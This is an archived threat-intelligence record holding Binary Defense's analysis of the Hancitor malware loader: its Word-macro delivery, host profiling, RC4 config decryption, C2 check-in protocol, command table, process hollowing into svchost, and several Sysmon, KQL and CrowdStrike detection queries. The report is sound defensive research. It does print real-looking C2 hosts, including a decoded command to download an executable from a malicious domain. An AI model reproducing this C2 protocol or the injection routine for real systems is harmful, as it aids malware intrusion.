{ "id": "cfca52ad-41fa-4018-9264-82adbd877ca4", "created_at": "2026-04-06T00:10:45.904388Z", "updated_at": "2026-04-10T03:24:24.682477Z", "deleted_at": null, "sha1_hash": "80e37d7c07c2fbc3c6759fef646f36f265463919", "title": "Analysis of Hancitor – When Boring Begets Beacon", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 2765320, "plain_text": "Analysis of Hancitor – When Boring Begets Beacon\r\nBy Binary Defense\r\nArchived: 2026-04-05 12:43:18 UTC\r\nAuthor: Brandon George\r\nWhat is Hancitor?\r\nHancitor is a well-known malware loader that has been observed delivering FickerStealer, Sendsafe, and Cobalt\r\nStrike Beacon if the victim targeting conditions are met. In recent months, more threat intelligence has been\r\ngathered as to what the attackers' goals are when Hancitor is used to deliver Cobalt Strike Beacon and, based on\r\nthe information shared, it has become apparent that the Cuba Ransomware gang has selected Hancitor as its loader\r\nof choice. This means that companies of all sizes need to be sure their cyber defense and detection strategies\r\ninclude the capability to detect behaviors associated with Hancitor. Many ransomware gangs up to this point have\r\nchosen Cobalt Strike as their preferred tool to move within an environment, but few malware loaders drop Beacon\r\nas quickly as Hancitor. This means that time to detection and response is critical for defenders to avoid damage to\r\nsystems that they protect.\r\nAcknowledgements\r\nThis study would have not been possible without the help and hard work of James Quinn at Intel471, Pim\r\nTrouerbach at Nike, and the whole Threat Research team here at Binary Defense. Thank you all for the\r\ncontributions and guidance, the field would be lacking without your help.\r\nHancitor Delivery\r\nHancitor largely relies on Word documents for delivery by embedding the DLL inside of the doc and executing\r\nthrough RunDLL32.exe. When the document opens, the DLL is written to various places in a user's AppData\r\ndirectory. In some cases, the DLL is written to AppDataLocalTemp, in other cases it can be seen being written to\r\nin AppDataLocalMicrosoftWord or AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. Regardless\r\nof the write location, the macro will use ShellExecuteA to launch RunDLL32.exe.\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 1 of 16\n\nFigure 1. Hancitor document lure\r\nFigure 1a. olevba functionality report of Hancitors maldoc\r\nThe Binary\r\nFigure 2. Exported Function\r\nWhen the malicious document launches the DLL via Rundll32, the function referenced will only be seen and\r\nexecuted once the DLL is unpacked. An example of what this particular sample would run as in the command line\r\nwould look like this:\r\n\"C:WindowsSystem32rundll32.exe\"\r\nc:usersadminappdataroamingmicrosoftwordomsh.dll,EUAYKIYBPAX\r\nIn the unpacked binary, two exports (functions created by the malware author) lead to the same location, which is\r\nwhere analysis can start.\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 2 of 16\n\nFigure 2a. Unpacked Binary Entry Point\r\nThe first call in the EntryPoint will lead to a call to the main function and the first step of Hancitor's lifecycle, the\r\nhost profiling.\r\nHost Profiling with Hancitor\r\nFigure 3. Labeled Functions Used for gathering Host Information\r\nFigure 4. BotID Function\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 3 of 16\n\nTo uniquely identify each victim (bot) system, Hancitor computes a BotID using information from the hardware\r\nand configuration. Hancitor uses the HDD Serial Number (like many other malware families, i.e., Emotet) and\r\nenumerates the assigned IP addresses of each network adapter (virtual or physical) on the infected device.\r\nHancitor uses these values and converts them to integers and XORs them against one another to generate the final\r\n\"hash\" and serves as the BotID. If one monitors the traffic from a bot, the Hash will be labeled as \"GUID=\".\r\nFigure 4A. Generate BotID Hash\r\nFigure 5. Computer and Account Information Function\r\nWhile profiling the host, it will get the host's computer name and the user account in which the process is running.\r\nSurprisingly, there are no checks to determine if the user is an administrator or any logic to decide if any\r\nalternative actions should be taken if the user is an administrator, as is typically seen in other malware families.\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 4 of 16\n\nFigure 6. External IP Check\r\nThe use of api.ipify.org to gather the external IP of the infected host is a pattern seen for a long time and continues\r\nto be seen in 2021. Although it is a publicly available service and is not malicious in itself, if the use of\r\napi.ipify.org is unusual in an organization's environment, it may be a valuable query to start threat hunting.\r\nFigure 7. Domain Trust Enumeration Function\r\nHancitor will pull Active Directory Trust information through DsEnumerateDomainTrustsA. The return value\r\nfrom this function call determines whether or not a bot will inject a Cobalt Strike Beacon later on. For Beacon\r\ninjection to take place, the bot has to provide at least one domain in the EXT field listed in the Check-in section to\r\ncome.\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 5 of 16\n\nFigure 8. Bitness check function\r\nAfter checking values in the SystemInfo struct, Hancitor returns the proper PE or shellcode for 32-bit or 64-bit\r\nsystems.\r\nHancitor Bot Configuration\r\nEach bot has an RC4-encrypted configuration built into it that comprises of a campaign ID and a couple of URLs\r\nthat will be beaconed out to when the check-in occurs. The buffer containing the configuration is typically stored\r\nin the .data section, where the key is 8 bytes long, and the encrypted buffer which contains the configuration is\r\ncontiguous with the key. The routine goes as follows:\r\n1. Hash the 8 bytes with SHA1\r\n2. Take the first 5 bytes of the SHA1 digest and note it as the RC4 key\r\n3. Decrypt the buffer with RC4 and the RC4 Key\r\nThe contents of the .data section of a Hancitor binary can be decrypted easily using CyberChef in two steps,\r\nshown below.\r\nStep 1: Copy the first eight bytes from the .data section as input to compute the RC4 key:\r\nFigure 9. Creating the RC4 key in CyberChef\r\nStep 2: Take the key derived in step 1 and RC4 decrypt the remaining bytes of the .data section\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 6 of 16\n\nFigure 10. RC4 Key Decrypting the Data Buffer and the decrypted configuration in CyberChef\r\nThese URLs are the Hancitor C2s which will keep track of what bots have checked in and their associated\r\nenvironments. Hancitor in the vast majority of cases uses cleartext HTTP traffic and has sparingly used HTTPS.\r\nThe Check-in and Command \u0026 Control\r\nOnce the C2 URLs are decrypted, the values are saved to a different buffer to be used later.\r\nIn this case, the infected host will send an HTTP POST request as the check-in with the information we looked at\r\nearlier:\r\n64Bit Device - GUID=%I64u\u0026BUILD=%s\u0026INFO=%s\u0026EXT=%s\u0026IP=%s\u0026TYPE=1\u0026WIN=%d.%d(x64)\r\n32Bit Device - GUID=%I64u\u0026BUILD=%s\u0026INFO=%s\u0026EXT=%s\u0026IP=%s\u0026TYPE=1\u0026WIN=%d.%d(x32)\r\n1. BotID\r\n2. Malware Build Version\r\n3. Computer Name + DomainUsername\r\n4. External IP\r\n5. Domain Trust Information\r\n6. OS Arch information\r\nAn example of what the check-in might look like:\r\nPOST /8/forum.php HTTP/1.1\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: restanumb.ru\r\nContent-Length: 131\r\nCache-Control: no-cache\r\n \r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 7 of 16\n\nGUID=898907862551235750\u0026BUILD=2505_nxat9\u0026INFO=DESKTOP-MN90G9Z @ DESKTOP-MN90G9ZPhineas\u0026EXT=\u0026IP=REDACTED\u0026TYPE=1\u0026W\r\nHTTP/1.1 200 OK\r\nServer: nginx/1.16.1\r\nDate: Wed, 26 May 2021 20:48:31 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP/5.4.45\r\nNTGMARhAEg4OCkBVVRUYDhMIFRRUCA9VTBIJQg8JEx1UHwIfBgc=\r\nWhen the C2 sends the 200 OK, a Base64 encoded string will be sent, and the routine follows these steps:\r\n1. Encoded String\r\n1. NTGMARhAEg4OCkBVVRUYDhMIFRRUCA9VTBIJQg8JEx1UHwIfBgc=\r\nIt should be noted that the C2 sends four extra bytes of extraneous characters to throw a wrench in analysis. This\r\ncan be remediated by slicing off the first four characters of any response, as seen below.\r\nBase64 without extraneous characters\r\nARhAEg4OCkBVVRUYDhMIFRRUCA9VTBIJQg8JEx1UHwIfBgc=\r\nHex Values\r\n35 31 8c 01 18 40 12 0e 0e 0a 40 55 55 15 18 0e 13 08 15 14 54 08 0f 55 4c 12 09 42 0f 09 13 1d\r\n54 1f 02 1f 06 07\r\nXOR with 0x7A\r\nDecrypted Response\r\n{b:http://obtiron.ru/6hs8usig.exe|}\r\nAs mentioned before, the received command tells the bot how and what to start as a new process. There are only\r\nfive valid commands Hancitor uses:\r\n\"b\" – Downloads either a Cobalt Strike Beacon, FickerStealer, or Sendsafe and injects it into a new\r\nsvchost.exe process\r\n\"e\" – Downloads either a Cobalt Strike Beacon, FickerStealer, or Sendsafe and injects it into the currently\r\nrunning process\r\n\"l\" – Downloads shellcode and executes in the current process or into svchost\r\n\"n\" – Nothing, but it could also serve as a ping if the bot is still active.\r\n\"r\"- Similar to the \"b\" command but includes a check to determine if the downloaded image is a DLL or an\r\nexe.\r\nFor commands \"b\", \"e\", and \"l\", the downloaded payloads are always injected into svchost through process\r\nhollowing. The \"r\" command is the only command that touches disk by writing the downloaded image to the\r\nuser's AppDataLocalTemp directory. In all of the cases analyzed, this command has not been used, but Hancitor\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 8 of 16\n\nwill generate a .TMP file with the prefix \"BN\" where the rest of the name will be the current computer time as\r\nHancitor always sets a value of 0 in the uUnique parameter of GetFilenameTempA.\r\ne.x. C:UsersPhilipAppDataLocalTempBN19981014234200.TMP\r\nIt can also be represented as a regular expression as well:\r\nC:\\Users\\w+\\AppData\\Local\\Temp\\BNd{7-14}.TMP\r\nSnort Rule\r\nalert tcp any any -\u003e any $HTTP_PORTS (msg:\"Possible Hancitor Checkin\"; flow:established,to_server; content:\"POS\r\nImage Download and Execution\r\nWhen the image is downloaded, it will be encrypted with XOR using a modification of the payload bytes as the\r\nkey and compressed with LZ. The XOR routine is the most complex out of all of the encryption methods, but that\r\ndoes not say much as it is still easy to replicate and thus decrypt the payload. The routine can be interpreted as\r\nfollowed:\r\nfor ( i = 8; i \u003c SizeOfImage; ++i ):\r\nImageData[i] = ImageData[i] ^ ImageData[i mod 8]\r\nOnce the XOR routine is done, the image will be decompressed using LZ through the RtlDecompressBuffer\r\nfunction. This function is used for every command except for the \"n\" command.\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 9 of 16\n\nFigure 11. Command Table\r\n\"b\" Command – Download Image and Inject Into New Svchost Instance\r\nFigure 12. downloadImageAndInjectIntoNewSvcHostInstance Function\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 10 of 16\n\nFigure 12a. injectImageIntoNewSvchostInstance\r\nFigure 12b. InjectImageIntoRemoteProcess\r\nMany portions of the injection process are repeated as they all utilize Process Hollowing as the technique of\r\nchoice, but the distinct feature of the \"b\" command is its choice to inject into svchost. Process hollowing for\r\nHancitor follows a routine like this:\r\n1. Load the image into a buffer\r\n2. Start svchost into a suspended state\r\n3. Get address space of the newly created process\r\n4. Allocate the address space using VirtualAllocEx for the image to be moved into\r\n5. Copy image into the new buffer\r\n6. Use WriteProcessMemory to write the image into the new buffer\r\n7. Start new thread in svchost\r\n\"e\" Command – Download Image and Inject into Current Process\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 11 of 16\n\nFigure 13. downloadImageAndExecuteWithinCurrentProcess\r\nFigure 13a. loadImageIntoCurrentProcessAndExecute\r\nWhen the bot receives the command to inject into the currently running process, it will have several assumptions\r\nto work with, including whether or not the downloaded is a DLL or requires a new thread. The routine is relatively\r\nstraightforward:\r\n1. Download Image (exe)\r\n2. Check if PE\r\n3. Allocate memory for image\r\n4. Allocate memory for new process address\r\n5. Copy image into the new buffer\r\n6. Set image base\r\n7. Set new entry point in the current process\r\n8. Load import table\r\n9. Create thread\r\n\"l\" command – Download Shellcode and Execute\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 12 of 16\n\nFigure 14. downloadShellcodeandExecute\r\nWhile the function says \"downloadImage\" in this case, it will download shellcode and inject the code into a new\r\nprocess and thread.\r\nFigure 14a. executeShellcode\r\nBecause this command only utilizes shellcode, Hancitor builds in the flexibility for injection into the current\r\nprocess or svchost. If the flag (fRequiresHostProcess) is set to 1, the shellcode will be injected into a new svchost\r\nprocess, otherwise the current process is used. This is likely to be seen when a Cobalt Strike Beacon is going to be\r\nloaded.\r\n\"r\" Command – Write to Disk and Execute\r\nThis command is distinctly different than the rest in that it is the only command that touches disk and does not use\r\nprocess hollowing.\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 13 of 16\n\nFigure 15. downloadImageAndExecute\r\nHancitor makes executions rather simple and tolerant to server-side changes by including options to run both\r\nDLLs and EXEs which is fitting for the malware it drops.\r\nFigure 15. writeTempFileAndExecute\r\nIn the cases seen, this is not a common option for Hancitor to write a file to disk and leave unnecessary evidence\r\nbehind. There are checks to determine if the downloaded image is a DLL or and EXE but regardless, a file with\r\nthe prefix \"BN\" with a random name is being created to the user's\r\nAppDataLocalTemp directory. When the file is written, if the file is a DLL it will be executed with\r\nRunDLL32.exe and if the file is an EXE, it will be a normal execution with Hancitor as the parent process.\r\nHancitor Detection Opportunities\r\nThere are a number of effective Suricata rules available to detect Hancitor through network traffic, another\r\neffective means can occur at the endpoint. Most EDR products can detect DNS resolutions and make the\r\nconnection to the associated process. Filtering and creating detections on this can offer some insight as to what\r\nprocesses might be profiling a system, but should not be considered high fidelity unless paired with better\r\ndetections. The logic would look something like this in Kusto Query Language (KQL) using Sysmon logs:\r\nSysmon\r\n| where EventID == 22\r\n| where Domain == “api.ipify.org” and ProcessName !in (“chrome.exe”, “iexplore.exe”, “firefox.exe”)\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 14 of 16\n\nAnother simplistic but effective detection can be built on the relationship between Hancitor and the downloaded\r\npayload. Hancitor has in the recent past only relied on using RunDLL32.exe for initial execution which given new\r\ninformation about the command table. Three out of the four commands rely on svchost to serve as the child\r\nprocess and the host for process injection. Some EDR products can detect process injection, but all EDR systems\r\nshould track the parent/child relationship of processes, including svchost. Svchost.exe should rarely ever have a\r\nparent that is not services.exe and should never have a parent of rundll32.exe. The logic would look something\r\nlike this in KQL using Sysmon logs and CrowdStrike:\r\nKQL\r\nSysmon\r\n| where ProcessName == “svchost.exe” and InitiatingProcessName == “rundll32.exe”\r\nCrowdStrike Falcon\r\nevent_simpleName=ProcessRollup2\r\n| where ParentBaseFileName=rundll32.exe AND FileName=svchost.exe\r\nFor process hollowing, CrowdStrike offers a valuable collection of logs to help figure out what processes might be\r\nacting suspiciously. Most of the time, this can be easily filtered as the number of results should be minimal:\r\nevent_simpleName=ProcessInjection\r\n| search DetectName=RemotePivotHollowing\r\n| join TargetProcessId_decimal\r\n[search event_simpleName=ProcessRollup2\r\n | search FileName=RunDLL32.exe]\r\nLastly, detections based on the \"r\" command is rather straightforward and can be easy to respond to using Sysmon\r\nand KQL:\r\nKQL:\r\nSysmon\r\n| where EvendID == 11\r\n| where InitiatingProcessName == “rundll32.exe” and FileName contains “BN” and FilePath has “AppData\\Local\\Temp”\r\nCrowdStrike:\r\nevent_simpleName=PeFileWritten FilePath=*AppData\\Local\\Temp\\\r\n| rename ContextProcessId_decimal as TargetProcessId_decimal\r\n| rename FileName as FileWritten\r\n| rename FilePath as PathWrittenTo\r\n| join TargetProcessId_decimal\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 15 of 16\n\n[search event_simpleName=ProcessRollup2 FileName=Rundll32.exe]\r\n| table FileName, FileWritten, PathWrittenTo, MD5HashData\r\nBinary Defense MDR Detection of Hancitor\r\nThe latest version of Hancitor was tested on a Windows 10 endpoint running Binary Defense’s Managed Detection\r\nand Response (MDR) software. Using its behavior-based detection approach, MDR detected the execution of\r\nHancitor as a suspicious process with network connections and raised an alarm containing all the details of the\r\nprocess and the IP addresses it connected to. The Binary Defense Security Operations Task Force monitors those\r\nalarms 24 hours a day for clients and would have investigated the event and notified the security or IT team at any\r\nclient. If no IT personnel were available to respond right away, or if the situation dictated an urgent response, the\r\nAnalyst at Binary Defense would be able to contain the infected host and cut off its outside network\r\ncommunication in time to stop attackers from advancing the intrusion with Cobalt Strike Beacon.\r\nSummary\r\nHancitor might be one of the most straightforward and simplistic loaders currently on the market compared to big\r\ngame players like Qakbot, Trickbot, and IcedID. However, none of the other malware families mentioned move as\r\nquickly as Hancitor does to drop a Cobalt Strike Beacon onto a host. So far, Hancitor has targeted companies of all\r\nsizes and in a wide variety of industries and countries to deliver Cobalt Strike Beacon and eventually result in\r\nransomware, making it a serious threat that defenders and threat hunters must be aware of. Hancitor is flexible\r\nenough to quickly deliver other malware threats in the same way that it currently loads FlickerStealer and Cobalt\r\nStrike. One thing is sure: as effective as it has been to date, the threat posed by Hancitor is not going away any\r\ntime soon.\r\nSource: https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nhttps://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/\r\nPage 16 of 16\n\n https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/ \nFigure 11. Command Table \n\"b\" Command-Download Image and Inject Into New Svchost Instance\nFigure 12. downloadImageAndInjectIntoNewSvcHostInstance Function\n Page 10 of 16", "extraction_quality": 1, "language": "EN", "sources": [ "ETDA" ], "references": [ "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon/" ], "report_names": [ "analysis-of-hancitor-when-boring-begets-beacon" ], "threat_actors": [ { "id": "d90307b6-14a9-4d0b-9156-89e453d6eb13", "created_at": "2022-10-25T16:07:23.773944Z", "updated_at": "2026-04-10T02:00:04.746188Z", "deleted_at": null, "main_name": "Lead", "aliases": [ "Casper", "TG-3279" ], "source_name": "ETDA:Lead", "tools": [ "Agentemis", "BleDoor", "Cobalt Strike", "CobaltStrike", "RbDoor", "RibDoor", "Winnti", "cobeacon" ], "source_id": "ETDA", "reports": null }, { "id": "610a7295-3139-4f34-8cec-b3da40add480", "created_at": "2023-01-06T13:46:38.608142Z", "updated_at": "2026-04-10T02:00:03.03764Z", "deleted_at": null, "main_name": "Cobalt", "aliases": [ "Cobalt Group", "Cobalt Gang", "GOLD KINGSWOOD", "COBALT SPIDER", "G0080", "Mule Libra" ], "source_name": "MISPGALAXY:Cobalt", "tools": [], "source_id": "MISPGALAXY", "reports": null } ], "ts_created_at": 1775434245, "ts_updated_at": 1775791464, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/80e37d7c07c2fbc3c6759fef646f36f265463919.pdf", "text": "https://archive.orkl.eu/80e37d7c07c2fbc3c6759fef646f36f265463919.txt", "img": "https://archive.orkl.eu/80e37d7c07c2fbc3c6759fef646f36f265463919.jpg" } }